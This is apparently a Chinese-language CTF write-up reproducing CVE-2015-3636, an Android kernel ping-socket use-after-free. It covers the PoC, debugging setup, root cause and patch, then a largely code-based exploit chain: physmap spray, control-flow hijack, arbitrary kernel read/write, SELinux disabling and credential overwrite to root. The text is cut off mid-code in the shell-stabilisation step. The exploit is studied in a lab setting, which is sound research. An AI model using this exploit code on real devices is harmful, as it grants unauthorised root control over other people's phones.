CVE-2015-3636 漏洞复现 - pingpong root

CVE-2015-3636漏洞的杀伤力巨大,能够root当时大多数的android手机(这些年, 我们虐过的漏洞by 腾讯科恩实验室)。科恩团队利用改进过的fuzz工具 Trinity 发现了该漏洞,并在blackhat 2015通过议题 Own your Android! Yet Another Universal Root 详细讲述了该漏洞的利用方法。

该漏洞发生在内核网络协议栈网络层的实现中(ping_unhash()),client端向服务器端发起连接(connect()函数)操作时,未考虑到hlist_nulls_node节点删除的特殊性(node->pprev不为null,而是LIST_POISON2),从而导致了UAF漏洞。

被free的对象是struct socket中的struct sock *sk,sock结构体中有许多函数指针。因此通过physmap spray覆盖某个函数指针,来达到任意代码执行的目的,进而获取root shell。

环境准备

根据吾爱破解2016安全挑战赛中给出的漏洞环境,准备如下两个镜像:

该题中linux内核的版本是3.10,下载源码辅助分析:linux v3.10-rc1版本源码

分析之前,先用别人的poc和exp打一遍,确认环境和利用脚本都没问题。

测试poc

poc部分仅仅体现了访问非法地址导致的崩溃,真正的利用需要绕过崩溃点,触发UAF,然后在关闭socket时劫持控制流

poc代码-ndk编译 ,main函数代码如下:

1
2
3
4
5
6
7
8
9
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
struct sockaddr_in sa;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

sa.sin_family = AF_UNSPEC;
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));
connect(sock, (const struct sockaddr *) &sa, sizeof(sa));

执行poc后,kernel panic,显示Unable to handle kernel paging request at virtual address 00001360,为什么不是0x200200呢?这是因为出题人对这个值做了修改,利用IDA逆向Image文件,在sub_FFFFFFC000409614()函数中可以看到0x1360这个值。

image-20220724205457823

image-20220724205518889

测试exp

比较复杂,在漏洞利用小节详细分析

看雪2016挑战赛exp.by.4B5F5F4B

ndk编译后能成功执行

image-20220724134020649

LQ:aarch64-gnu-linux-gcc 静态编译和ndk编译的结果不一样(1. 对头文件的依赖;2. system无法执行成功 ;3. mmap操作不一样)【最终有没有可能采用静态编译的方式利用成功?】

如何调试

题目给的启动程序做了些封装操作,为了获得最原始的qemu启动命令,需在程序启动后查看进程信息,截取启动命令

./startEmulator启动虚拟机后,通过ps -ef查看进程情况,得知最终是通过qemu-system-aarch64(是谷歌的android-qemu)来启动的。我们需要利用它的启动参数来调试。

1
2
bling     19263   2450  0 21:19 pts/1    00:00:00 /bin/bash ./startEmulator
bling 19264 19263 98 21:19 pts/1 00:00:09 ./qemu/linux-x86_64/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0 -serial mon:stdio -kernel ./Image -initrd...

由于启动命令较长,terminal无法完全显示命令。我们可以利用cmdline获取该命令,如下:

1
2
3
cat /proc/<PID>/cmdline | xargs -0 echo
# 或者
python3 -c "print(open('/proc/8716/cmdline','rb').read().replace(b'\x00',b' '))"

得到如下启动命令

1
./qemu/linux-x86_64/qemu-system-aarch64 -cpu cortex-a57 -machine type=ranchu -m 1024 -append 'console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0' -serial mon:stdio -kernel ./Image -initrd ./ramdisk.img -drive index=0,id=sdcard,file=./system.img -device virtio-blk-device,drive=sdcard -drive index=1,id=userdata,file=././userdata.img -device virtio-blk-device,drive=userdata -drive index=2,id=cache,file=./cache.img -device virtio-blk-device,drive=cache -drive index=3,id=system,file=./system.img -device virtio-blk-device,drive=system -netdev user,id=mynet -device virtio-net-device,netdev=mynet -show-cursor -nographic -L lib/pc-bios

调试的话,在以上命令后加上-S -s(gdbserver默认监听本地1234端口),然后另起一个terminal,执行gdb-multiarch

1
2
3
4
5
6
7
$ gdb-multiarch
gdb> set architecture aarch64
gdb> target remote :1234
# 如果用gef调试的话,必须用命令:gef-remote -q localhost:1234
# 否则会报错- Command 'context' failed to execute properly, reason: 'NoneType' object has no attribute 'all_registers'
gdb> c

漏洞分析

该漏洞发生在内核网络协议栈网络层的实现中(ping_unhash()),client端向服务器端发起连接(connect()函数)操作时,未考虑到hlist_nulls_node节点删除的特殊性(node->pprev不为null,而是LIST_POISON2),从而导致了UAF漏洞。

被free的对象是struct socket中的struct sock *sk,sock结构体中有许多函数指针。因此通过physmap spray覆盖某个函数指针,来达到任意代码执行的目的,进而获取root shell。

了解linux内核网络协议栈参考:计算机网络基础 — Linux 内核网络协议栈

根据poc崩溃现场打印的log来看,调用流程是这样的:Sys_connect() –> inet_dgram_connect() –> udp_disconnect() –> ping_unhash()。跟着源码分析,inet_dgram_connect()函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int inet_dgram_connect(struct socket *sock, struct sockaddr *uaddr,
int addr_len, int flags)
{
struct sock *sk = sock->sk;

if (addr_len < sizeof(uaddr->sa_family))
return -EINVAL;
if (uaddr->sa_family == AF_UNSPEC)
return sk->sk_prot->disconnect(sk, flags);

if (!inet_sk(sk)->inet_num && inet_autobind(sk))
return -EAGAIN;
return sk->sk_prot->connect(sk, uaddr, addr_len);
}
EXPORT_SYMBOL(inet_dgram_connect);

漏洞分支是if (uaddr->sa_family == AF_UNSPEC),而sk->sk_prot->disconnect对应的函数是谁呢?

inet_init()中根据实际场景将某个struct inet_protosw inetsw_array关联到inetsw,再在inet_create()函数中初始化sk->sk_prot为对应的.prot。本题对应IPPPROTO_ICMP这一结构,如下:

1
2
3
4
5
6
7
8
9
10
static struct inet_protosw inetsw_array[] =
{
{
.type = SOCK_DGRAM,
.protocol = IPPROTO_ICMP,
.prot = &ping_prot,
.ops = &inet_dgram_ops,
.no_check = UDP_CSUM_DEFAULT,
.flags = INET_PROTOSW_REUSE,
},

因此,sk->sk_prot->disconnect中的disconnect对应struct proto ping_prot中的udp_disconnect(),代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int udp_disconnect(struct sock *sk, int flags)
{
struct inet_sock *inet = inet_sk(sk);
/*
* 1003.1g - break association.
*/

sk->sk_state = TCP_CLOSE;
inet->inet_daddr = 0;
inet->inet_dport = 0;
sock_rps_reset_rxhash(sk);
sk->sk_bound_dev_if = 0;
if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
inet_reset_saddr(sk);

if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
sk->sk_prot->unhash(sk);
inet->inet_sport = 0;
}
sk_dst_reset(sk);
return 0;
}
EXPORT_SYMBOL(udp_disconnect);

如果当前未绑定端口,则进入if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK))分支,调用sk->sk_prot->unhash(sk),对应ping_v4_unhash()函数(函数名跟题目Image中的不一样),函数定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static void ping_v4_unhash(struct sock *sk)
{
struct inet_sock *isk = inet_sk(sk);
pr_debug("ping_v4_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
if (sk_hashed(sk)) {
write_lock_bh(&ping_table.lock);
hlist_nulls_del(&sk->sk_nulls_node);
sock_put(sk);
isk->inet_num = 0;
isk->inet_sport = 0;
sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
write_unlock_bh(&ping_table.lock);
}
}

if分支的判断条件是sk_hashed(sk),简言之,如果sk->sk_node->pprev非0,就进入if分支。下面看看if分支里的hlist_nulls_del()函数,将sk->sk_nulls_node从链表节点中删除,并将sk->sk_nulls_node->pprev设置为LIST_POISON2(0x200200,本题环境中为0x1360)。

sk->sk_nulls_nodesk->sk_node,它俩是一个union。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# define POISON_POINTER_DELTA 0
/*
* These are non-NULL pointers that will result in page faults
* under normal circumstances, used to verify that nobody uses
* non-initialized list entries.
*/
#define LIST_POISON1 ((void *) 0x00100100 + POISON_POINTER_DELTA)
#define LIST_POISON2 ((void *) 0x00200200 + POISON_POINTER_DELTA)

static inline void hlist_nulls_del(struct hlist_nulls_node *n)
{
__hlist_nulls_del(n);
n->pprev = LIST_POISON2;
}

static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;
if (!is_a_nulls(next))
next->pprev = pprev;
}

关于链表删除时为什么将node->pprev赋值为LIST_POISON2,文章 linux双向链表分析之list_del中的技巧 中说是为了方便调试的目的。

hlist_nulls_del()后是sock_put(),该函数在sk无引用后,调用sk_free()释放sk节点。

1
2
3
4
5
6
7
static inline void sock_put(struct sock *sk)
{
if (atomic_dec_and_test(&sk->sk_refcnt))
sk_free(sk);
}
// 调试显示,第一次指定“sa.sin_family = AF_UNSPEC”调用connect(sock, (const struct sockaddr *) &sa, sizeof(sa))时,sk->sk_refcnt的值为2,不会进入sk_free。
// 第二次调用connect进入该分支时,(mmap 0x200200/0x1360 后),sk->sk_refcnt为1,将进入sk_free()流程

以上流程走第一遍的时候没什么问题,但走第二遍时,由于sk->sk_node->pprev为非零值(0x200200/0x1360),因此会进入if(sk_hashed(sk))分支,然后顺序执行hlist_nulls_del(&sk->sk_nulls_node)sock_put(sk)。当执行到如下代码片段时,由于n->pprev0x200200/0x1360,导致*pprev = next发生非法地址访问,内核crash。

1
2
3
4
5
static inline void __hlist_nulls_del(struct hlist_nulls_node *n)
{
struct hlist_nulls_node *next = n->next;
struct hlist_nulls_node **pprev = n->pprev;
*pprev = next;

如果在访问该非法地址前,先合法映射0x200200/0x1360这块地址区域,就不会在此处发生内核crash。然后,会继续执行sock_put(sk),此时sk->sk_refcnt为1(调试发现),因此会执行sk_free(sk)操作。虽然sk已释放,但用户态依然可以通过已打开的socket文件描述符访问sk中的数据,于是产生了UAF。

漏洞patch 在删除链表节点和释放sk函数之间新增了一个函数sk_nulls_node_init,将sk->sk_node->pprev置为0,则无法二次进入if (sk_hashed(sk))分支触发UAF。

1
2
3
4
5
6
7
8
/*		hlist_nulls_del(&sk->sk_nulls_node);
sk_nulls_node_init(&sk->sk_nulls_node);
sock_put(sk); */

static inline void sk_nulls_node_init(struct hlist_nulls_node *node)
{
node->pprev = NULL;
}

漏洞利用

总体思路

利用思路分为如下6个步骤:

1、physmap spray:劫持函数指针sk->_sk_common->skc_prot->close

  • 内核态堆内存:用户态创建大量socket连接,利用漏洞产生kmalloc UAF
  • 用户态mmap内存:mmap大量内存,并以页为单位进行标记
  • 两者在物理内存中可能存在重叠,因此重点变成了,如何找到mmap page与socket的重合呢?
  • socket有一个特殊的ioctl cmd,叫SIOCGSTAMPNS。它将返回sk->偏移0x1D8处的值。于是,只要在mmap时为每个PAGE做特殊标记,便能定位到哪些mmap page和socket会重合。
  • 而close(fd)时会用到sk->偏移0x28处的函数指针,因此改目标mmap_page其偏移0x28处的值,就能实现内核控制流劫持了!

2、改进程addr_limit:任意内核地址读写

  • kernel_setsockopt()函数,控制跳过setfs(oldfs)这行代码。
  • 使用pipe系统调用,对任意内核地址读写

3、关闭selinux:利用任意内核读写来关闭selinux

4、获取cred/real_cred地址

  • 泄露当前进程task_struct结构体的地址
  • 根据cred/real_cred在task_struct中的偏移,获取cred/real_cred结构体的地址

5、进程提权

  • 将cred结构体中uid,gid,suid,sgid,euid,egid,fsuid,fsgid全部置零

6、稳定shell

步骤1. physmap spray

  • UAF socket spray

    由于需要创建大量socket,因此首先改掉linux rlimit对打开文件数量的限制,即RLIMIT_NOFILE(能打开的文件数目)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    int maximize_fd_limit()
    {
    struct rlimit rlim;
    int ret;

    ret = getrlimit(RLIMIT_NOFILE, &rlim);
    //printf("rlim.rlim_cur: 0x%x, rlim.rlim_max:0x%x\n",rlim.rlim_cur,rlim.rlim_max);

    rlim.rlim_cur = rlim.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlim);

    ret = getrlimit(RLIMIT_NOFILE, &rlim);
    return rlim.rlim_cur;
    }

    然后申请socket,并调用两次connect产生UAF。需要绕过POC中非法地址访问(真实场景中时0x200200,本题中是0x1360),将该地址做一次映射即可。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    //global 	
    #define MAX_VULTRIG_SOCKS_COUNT 4000
    int vultrig_socks[MAX_VULTRIG_SOCKS_COUNT];
    //global

    int i; // for-loop

    struct sockaddr_in addr1;
    struct sockaddr_in addr2;
    memset(&addr1,0,sizeof(addr1));
    memset(&addr2,0,sizeof(addr2));
    addr1.sin_family = AF_INET;
    addr2.sin_family = AF_UNSPEC;

    printf("[+] set RLIMIT_NOFILE\n");
    maximize_fd_limit();

    printf("[+] socket prepare...\n");
    for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
    {
    vultrig_socks[i] = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    connect(vultrig_socks[i], &addr1, sizeof(addr1));
    }

    // avoid error: Unable to handle kernel paging request at virtual address 00001360
    printf("[+] mmap 0x1000-0x2000...\n");
    system("echo 4096 > /proc/sys/vm/mmap_min_addr");
    void* user_mm = mmap((void *)0x1000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);
    memset((char *)user_mm,0x90,0x1000);

    printf("[+] generate vuln sockets...\n");
    for(i=0; i<MAX_VULTRIG_SOCKS_COUNT; i++)
    {
    connect(vultrig_socks[i], &addr2, sizeof(addr2));
    connect(vultrig_socks[i], &addr2, sizeof(addr2));
    }
  • mmap spray

    考虑到性能,将mmap的size设置得尽量大。经过测试,一次mmap 150*1024*1024大小是可以的。

    应当如何给mmap_page做标记呢?取决于使用socket的何种特性。

    struct sock结构体中有一个成员ktime_t sk_stamp,用户态可以通过struct timespec time; ioctl(exp_sock, SIOCGSTAMPNS, &time)读取到它的转换结果。64位系统下调用过程见《socket的inet_ioctl》章节内容。

    通过分析题目的Image镜像,确定sk->sk_stamp的偏移是0x1D8。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    __int64 __fastcall sock_get_timestampns(__int64 a1, _QWORD *a2)
    {
    __int64 v4; // x0
    __int64 v5; // x1
    __int64 result; // x0
    __int64 real; // x0
    __int64 v10; // x1
    __int64 v11; // [xsp+0h] [xbp+0h] BYREF
    __int64 v12; // [xsp+20h] [xbp+20h] BYREF
    __int64 v13; // [xsp+28h] [xbp+28h]

    if ( (*(_QWORD *)(a1 + 200) & 0x80) == 0 )
    sock_enable_timestamp(a1, 7i64);
    v4 = ns_to_timespec(*(_QWORD *)(a1 + 0x1D8));

    因此,我们在mmap的每一个mmap_page中,偏移0x1D8的位置,写入一个8字节的magic number。代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    // global
    #define PAGE_SIZE 4096
    #define MAGIC_VALUE 0x4B5F5F4B
    #define MAX_PHYSMAP_SIZE 120*1024*1024
    #define MAX_PHYSMAP_SPRAY_PROCESS 5

    void* physmap_spray_pages[(MAX_PHYSMAP_SIZE / PAGE_SIZE) * MAX_PHYSMAP_SPRAY_PROCESS];
    int physmap_spray_pages_count;
    // global

    int physmap_spray_func(){
    void* mapped;
    void* mapped_page;
    int i,j;

    memset(physmap_spray_pages,0,sizeof(physmap_spray_pages));
    physmap_spray_pages_count = 0;

    for(i = 0; i < MAX_PHYSMAP_SPRAY_PROCESS; i++){
    mapped = mmap(NULL, MAX_PHYSMAP_SIZE , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    memset((char *)mapped,0x41,MAX_PHYSMAP_SIZE);

    for(j = 0; j < MAX_PHYSMAP_SIZE/PAGE_SIZE; j++){
    mapped_page = (void*)((char*)mapped + PAGE_SIZE*j);
    *(unsigned long *)((char*)mapped_page+0x1D8) = MAGIC_VALUE + physmap_spray_pages_count;
    physmap_spray_pages[physmap_spray_pages_count] = mapped_page;
    physmap_spray_pages_count++;
    }
    }
    return 0;
    }
  • find exploitable socket and mmap_page

    对每一个socket,遍历mmap_page,找到timestamp一致的两个对象。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    int search_exploitable_socket(int* index, void** payload)
    {
    struct timespec time;
    uint64_t value;
    void* page = NULL;
    int j = 0;
    int exp_sock = -1;
    int got = 0;

    do{
    exp_sock = vultrig_socks[*index];
    memset(&time, 0, sizeof(time));
    ioctl(exp_sock, SIOCGSTAMPNS, &time);
    value = ((uint64_t)time.tv_sec * NSEC_PER_SEC) + time.tv_nsec;

    for(j = 0; j < physmap_spray_pages_count; j++){
    page = physmap_spray_pages[j];
    if(value == *(unsigned long *)((char *)page + 0x1D8)){
    printf("[*] magic:%p\n", value);
    got = 1;
    *payload = page;
    printf("hit the mmap page : 0x%x\n",j);
    break;
    }
    }
    *index = *index + 1;
    }while(!got && *index < MAX_VULTRIG_SOCKS_COUNT);

    if(got == 0){
    return -1;
    }
    else{
    return exp_sock;
    }
    }


    //调用
    int exp_sock,exp_sock_index;
    void* payload;

    exp_sock_index = 0;
    exp_sock = search_exploitable_socket(&exp_sock_index,&payload);
    if(exp_sock == -1){
    printf("cannot find target socket\n");
    }else{
    printf("find it 1!!! exp_sock_index: 0x%x\n",exp_sock_index);
    }
  • hijack sk->sk_prot->close

    struct sock结构体中有许多函数指针,其中sk->sk_prot->closeclose(fd)时会通过sock_close() -> sock_release() -> inet_release()调用到。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    struct sock {
    /*
    * Now struct inet_timewait_sock also uses sock_common, so please just
    * don't add nothing before this first member (__sk_common) --acme
    */
    struct sock_common __sk_common;
    #define sk_prot __sk_common.skc_prot
    //......
    }

    struct sock_common {
    //......
    struct proto *skc_prot;
    //......
    }

    struct proto {
    void (*close)(struct sock *sk,
    long timeout);
    int (*connect)(struct sock *sk,
    struct sockaddr *uaddr,
    int addr_len);
    //.......
    }

    inet_release函数中,sk->sk_prot->close(sk, timeout)对应的汇编代码如下,sk->sk_prot->close中sk_prot(即__sk_common.skc_prot)距离sock起始地址的偏移量是0x28。从该地址取出的值即close()函数起始地址。

    1
    2
    3
    4
    5
    6
    7
    ROM:FFFFFFC0003FEA20 loc_FFFFFFC0003FEA20                    ; CODE XREF: inet_release+90↓j
    ROM:FFFFFFC0003FEA20 ; inet_release+98↓j
    ROM:FFFFFFC0003FEA20 STR XZR, [X20,#0x20]
    ROM:FFFFFFC0003FEA24 MOV X0, X19
    ROM:FFFFFFC0003FEA28 LDR X2, [X19,#0x28]
    ROM:FFFFFFC0003FEA2C LDR X2, [X2]
    ROM:FFFFFFC0003FEA30 BLR X2

    因此,上一步骤找到满足条件的socket和mmap_page之后,覆盖mmap_page偏移0x28位置处的8个字节地址指向的内容,就能实现控制流劫持了!

该步骤的源码参考:步骤1的源码

编译完成后,通过adb push到虚拟机中,执行结果如下图所示,成功劫持pc。

image-20220918180540313

步骤2. 改进程addr_limit

  • 扩大进程addr limit访问空间

    用户态进程陷入内核态后,通过set_fs(KERNEL_DS)将本进程可访问地址限制设为0xFFFFFFFFFFFFFFFF,于是当前进程可访问到所有虚拟内存地址。在目标功能完成后,通过set_fs(oldfs)将限制重新设置为原来的大小。它们在内核代码中通常是成对出现的。

    kernel_setsockopt()函数(函数地址为0xFFFFFFC00035D788)中调用了set_fs(KERNEL_DS),并且通过适当设置寄存器可以跳过setfs(oldfs)这行代码。《addr limit访问限制》章节中“kernel_setsockopt”小节,详细说明了本题的利用方法。

    发生控制流劫持时,x0的值为sock的地址,[x0,#0x28]处存的还是sock地址,所以x5也是sock地址。因此将[x5,#0x68]处存上0xFFFFFFC00035D7C0,相当于给mmap_page+0x68处存上这个值。

    1
    2
    3
    4
    5
    ROM:FFFFFFC00035D7B0                 LDR             X5, [X0,#0x28]
    ROM:FFFFFFC00035D7B4 LDR X5, [X5,#0x68]
    ROM:FFFFFFC00035D7B8 BLR X5
    ROM:FFFFFFC00035D7BC STR X20, [X19,#8]
    ROM:FFFFFFC00035D7C0 LDP X19, X20, [SP,#var_s10]

    在步骤1执行close(exp_sock)之前,布置好将要使用到的值。使其执行kernel_setsockopt()函数,并跳过set_fs(oldfs)这一句。

    1
    2
    3
    4
    5
    6
    *(unsigned long *)((char*)payload + 0x290) = 0;
    *(unsigned long *)((char*)payload) = (unsigned long)0xFFFFFFC00035D788;
    *(unsigned long *)((char*)payload + 0x28) = payload;
    *(unsigned long *)((char*)payload + 0x68) = (unsigned long)0xFFFFFFC00035D7C0;
    close(exp_sock);
    printf("[*] now we can R/W kernel address space like a boss.\n");
  • 通过pipe系统调用,任意读写内核

    封装两个函数,用户态程序通过调用它们,就能实现对任意内核地址的读写。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    int kernel_read(void* kernel_addr, unsigned long* value, usigned int len){
    int pipefd[2];
    pipe(pipefd);
    write(pipe[1],kernel_addr,len);
    read(pipe[0],value,len);
    return 0;
    }

    int kernel_write(void* kernel_addr, unsigned long* value, usigned int len){
    int pipefd[2];
    pipe(pipefd);
    write(pipe[1],value,len);
    read(pipe[0],kernel_addr,len);
    return 0;
    }

    该步骤的源码参考:步骤二的源码

选择内核数据段0xFFFFFFC000580860,写入0xdeadbeefdeadbeef,并成功读出。效果如下图所示:

image-20220918193452306

步骤3. 关闭selinux

通过sel_read_enforce()函数,可以定位到selinux_enforcing的地址,为0xFFFFFFC00065399C。

1
2
3
4
5
6
7
8
9
__int64 __fastcall sel_read_enforce(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
int v7; // w0
_BYTE v9[16]; // [xsp+30h] [xbp+30h] BYREF

v7 = scnprintf(v9, 12i64, "%d", MEMORY[0xFFFFFFC00065399C]);
//0xFFFFFFC00065399C即selinux_enforcing
return simple_read_from_buffer(a2, a3, a4, v9, v7);
}

通过如下代码片段实现关闭selinux:

1
2
unsigned int set_selinux = 0;
kernel_write((void*)0xFFFFFFC00065399C,&set_selinux,4);

该步骤的源码参考:步骤三的源码

先读取selinux_enforcing的值,为1,表示开启了selinux。然后设置selinux_enforcing为0,并读取,发现设置成功。效果如下图所示:

image-20220918200706532

步骤4. 获取cred/real_cred地址

为了给当前进程提权,需要改cred结构体的信息。因此,先获取task_struct结构体的地址,再通过偏移定位到cred的存放地址。

  • 泄露task_struct结构体的地址

    task_struct的地址在thread_info结构体中存储着,而thread_info结构体地址跟内核栈地址是相同的。arm64系统上,内核栈的最大深度为16K。sp&0xFFFFFFFFFFFFC000即可得到thread_info的地址,task_struct在thread_info结构体中的偏移是0x10。

    本题Image中,找到如下代码片段,可通过sp&0xFFFFFFFFFFFFC000计算将task_struct的地址写到X1+0x18地址处。

    1
    2
    3
    4
    5
    6
    # mutex_trylock函数
    ROM:FFFFFFC0004AA518 MOV X2, SP
    ROM:FFFFFFC0004AA51C AND X2, X2, #0xFFFFFFFFFFFFC000
    ROM:FFFFFFC0004AA520 LDR X2, [X2,#0x10]
    ROM:FFFFFFC0004AA524 STR X2, [X1,#0x18]
    ROM:FFFFFFC0004AA528 RET

    由于控制流劫持时,x1寄存器中的值为0,因此task_struct的地址将被写入0x18地址处。

    那么需要提前mmap小于4096的地址,而系统通常会禁止mmap低地址,所以需要改mmap_min_addr的值,将其改成0。通过逆向Image镜像,可以找到mmap_min_addr的值为0xFFFFFFC000652148。

    1
    2
    3
    4
    5
    6
    7
    8
    __int64 mmap_min_addr_handler()
    {
    __int64 result; // x0

    result = proc_doulongvec_minmax();
    MEMORY[0xFFFFFFC000652148] = 4096i64; // 0xFFFFFFC000652148就是mmap_min_addr的地址
    return result;
    }

    读取task_struct地址的代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    // set mmap_min_addr
    unsigned long set_mmap_min = 0;
    kernel_write((void*)0xFFFFFFC000652148,&set_mmap_min,8);
    user_mm = mmap((void*)0x0,PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE| MAP_FIXED |MAP_ANONYMOUS, -1, 0);

    // leak struct_cred address to 0x18
    exp_sock = search_exploitable_socket(&exp_sock_index,&payload);
    if(exp_sock == -1){
    printf("cannot find target socket\n");
    }else{
    printf("find it 2!!! exp_sock_index: 0x%x\n",exp_sock_index);
    }
    *(unsigned long *)((char*)payload + 0x290) = 0;
    *(unsigned long *)((char*)payload) = (unsigned long)0xFFFFFFC0004AA518;
    *(unsigned long *)((char*)payload + 0x28) = payload;
    close(exp_sock);

    // read task_struct address
    void* task_struct_addr = 0;
    task_struct_addr = (void*)*(unsigned long*)((char*)user_mm+0x18);
    printf("task_struct addr is : %p\n",task_struct_addr);
  • 泄露cred/real_cred地址

    根据cred/real_cred在task_struct中的偏移,获取cred/real_cred结构体的地址。

    上一步获得了task_struct task的地址,通过exit_creds()函数得知task->real_cred的偏移是0x398。(real_credcred 指向的位置是相同的)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    // IDA伪代码
    unsigned int *__fastcall exit_creds(__int64 a1)
    {
    unsigned int *v2; // x0
    unsigned int v3; // w1
    unsigned int v4; // w1
    unsigned int *result; // x0
    unsigned int v6; // w1
    unsigned int v7; // w1

    v2 = *(unsigned int **)(a1 + 0x398);
    *(_QWORD *)(a1 + 0x398) = 0i64;
    do
    {
    v3 = __ldaxr(v2);
    v4 = v3 - 1;
    }
    ...
    }
    // C源代码
    void exit_creds(struct task_struct *tsk)
    {
    struct cred *cred;
    cred = (struct cred *) tsk->real_cred;
    tsk->real_cred = NULL;
    validate_creds(cred);
    ...
    }

    所以,通过我们封装的内核任意地址读函数,real_cred的地址,代码片段如下

    1
    2
    3
    void* cred_addr = 0;
    kernel_read((char*)task_struct_addr+0x398,&cred_addr,8);
    printf("cred addr: %p\n",cred_addr);

    该步骤的源码参考:步骤四的源码

运行结果如下图所示,成功泄露了task_struct和cred结构体的地址。

image-20220920175812155

步骤5. 进程提权

获取到cred/real_cred结构体的地址后,剩下的事情就变得简单了。

cred结构体如下,将uid,gid,suid,sgid,euid,egid,fsuid,fsgid全都改成0,即可完成本进程的提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
// ......
};

本部分代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// set cred to get root
int a = 0;
kernel_write((char*)cred_addr+4,&a,4);
kernel_write((char*)cred_addr+8,&a,4);
kernel_write((char*)cred_addr+12,&a,4);
kernel_write((char*)cred_addr+16,&a,4);
kernel_write((char*)cred_addr+20,&a,4);
kernel_write((char*)cred_addr+24,&a,4);
kernel_write((char*)cred_addr+28,&a,4);
kernel_write((char*)cred_addr+32,&a,4);

if(getuid() == 0){
printf("now the uid is 0\n");
}else{
printf("failed\n");
}

该步骤的源码参考:步骤五的源码

image-20220920182949779

步骤6. 稳定shell

Module to print the open files of a process

task_struct->files->fdt->max_fds存储着当前进程打开的文件个数信息(猜测当进程退出时会根据该信息,依次关闭各个打开的文件)。为防止其他socket关闭时crash,我们需要将该值改为0。

files_struct结构体

  • 确定files_struct *filestast_struct中的偏移

    get_files_struct()函数中通过使用了files_struct,通过比对,得到本题中files_struct在tast_struct中的偏移量为0x788字节。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    // 在linux 3.10的源码中找到如下函数,调用了task->files
    struct files_struct *get_files_struct(struct task_struct *task)
    {
    struct files_struct *files;

    task_lock(task);
    files = task->files;
    if (files)
    atomic_inc(&files->count);
    task_unlock(task);

    return files;
    }
    // 在Image中找到对应的伪代码,确认files在task_struct中的偏移量是0x788
    unsigned int *__fastcall get_files_struct(__int64 a1)
    {
    __int64 v2; // x20
    unsigned int *v3; // x19
    unsigned int v4; // w0

    v2 = a1 + 0x818;
    raw_spin_lock(a1 + 0x818);
    v3 = *(unsigned int **)(a1 + 0x788); // files = task->files
    if ( v3 )
    {
    do
    v4 = __ldxr(v3);
    while ( __stxr(v4 + 1, v3) );
    }
    raw_spin_unlock(v2);
    return v3;
    }
  • 确定fdtable *fdtfiles_struct中的偏移

    do_dup2()函数中使用到了fdt,如下代码段。所以本题环境中,fdtable *fdtfiles_struct中的偏移量为8字节。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // 源码
    static int do_dup2(struct files_struct *files,
